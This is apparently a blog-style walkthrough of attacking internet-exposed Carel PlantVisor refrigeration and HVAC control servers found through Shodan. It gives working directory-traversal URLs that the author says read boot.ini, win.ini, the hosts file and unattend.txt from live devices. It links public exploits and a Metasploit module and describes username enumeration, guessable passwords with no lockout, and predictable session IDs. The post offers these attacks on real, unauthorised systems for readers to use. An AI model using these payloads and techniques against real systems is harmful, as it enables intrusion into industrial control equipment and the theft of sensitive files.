Hacking Walkthrough: Carel PlantVisor [ICS]

 PlantVisor is a software that is responsible to control temperature of refrigerators and air conditioners . It can be part of an industrial organization  and can be responsible for quality of products. It could also be in use by non-industrial  entity. What matters is this software is exposed in the internet and by digging deeper , vulnerabilities are discovered. The servers I found were old windows operating systems.Enjoy the findings.

Software: Carel PlantVisor

Vulnerability: 2011-3487 (Directory Traversal)

Exploit: https://www.exploit-db.com/exploits/42707

Exploit: https://www.exploit-db.com/exploits/42706 [Metasploit]

Directory Traversal:

The exploit 42707 uses  " boot.ini ". It works on most of the devices that I have discovered online. My findings are:

I used shodan to find these devices: Server: CarelDataServer

http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini worked for me.

I experimented with different windows directories and files.

I succeeded with :

http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini

http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem.ini

http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts

http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem32%5cunattend.txt

http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cexplorer.exe

Im sure you can find other files. For a guide on this read:

https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt

Username Enumeration and authentication:

Most of the servers I found have a built-in menu that shows existing usernames. Administrator and guest are the common ones. There are other user names of course and I found some of them use the username as the password ! Surprisingly one user name has administrative rights. There isn't login-lock feature or  maximum attempts. Also there is no encryption for authentication. 

A note on sessions ! If you use a proxy like Burp suite, I noticed that if you stick to the session id that is given to you , you can repeat the request as many as you want. But if you change that id , you will get a "Maxsessions" response. I also noticed that session is incremented for every new response with a +1 .